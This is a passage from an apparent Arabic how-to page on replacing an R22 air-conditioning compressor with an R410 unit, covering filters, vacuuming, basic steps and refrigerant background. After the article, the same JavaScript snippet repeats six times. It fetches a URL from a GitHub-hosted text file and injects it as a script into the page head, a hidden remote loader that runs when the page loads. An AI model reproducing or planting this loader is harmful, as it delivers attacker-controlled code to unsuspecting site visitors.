ثانيًا، يجب أن يتم استبدال المرشحات والصمامات في النظام أيضًا. المرشحات والصمامات المصممة لنظام R22 لن تعمل بشكل صحيح مع نظام R410.

ثالثًا، يجب تفريغ النظام بالكامل قبل تركيب الضاغط الجديد. يمكن القيام بذلك باستخدام مضخة تفريغ.

فيما يلي الخطوات التفصيلية لتغيير ضاغط R22 بضاغط R410:

  1. افصل النظام عن التيار الكهربائي.
  2. قم بإزالة الأنابيب من الضاغط القديم.
  3. قم بإزالة الضاغط القديم.
  4. قم بتركيب الضاغط الجديد.
  5. قم بتوصيل الأنابيب بالضاغط الجديد.
  6. قم بتعبئة النظام بغاز R410.

يما يلي بعض النصائح الإضافية لتغيير ضاغط R22 بضاغط R410:

  • اتبع دائمًا تعليمات الشركة المصنعة للضاغط الجديد.
  • استخدم أداة مناسبة لإزالة الضاغط القديم وتركيب الضاغط الجديد.
  • تأكد من أن الأنابيب متصلة بشكل صحيح بالضاغط الجديد.
  • استخدم مقياس الضغط لفحص ضغط النظام بعد تعبئته بغاز R410.

إذا لم تكن واثقًا من كيفية تغيير ضاغط R22 بضاغط R410، فمن الأفضل أن تأخذها إلى أخصائي تكييف الهواء.

فيما يلي بعض المعلومات الإضافية حول الفريونات R22 و R410:

  • الفريون R22 هو سائل تبريد تم استخدامه في الأنظمة القديمة للتكييف والتبريد. تم حظر استخدامه في العديد من البلدان بسبب تأثيراته الضارة على البيئة.
  • الفريون R410A هو سائل تبريد يحل محل R22. إنه أكثر كفاءة في استخدام الطاقة وصديق للبيئة أكثر من R22.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});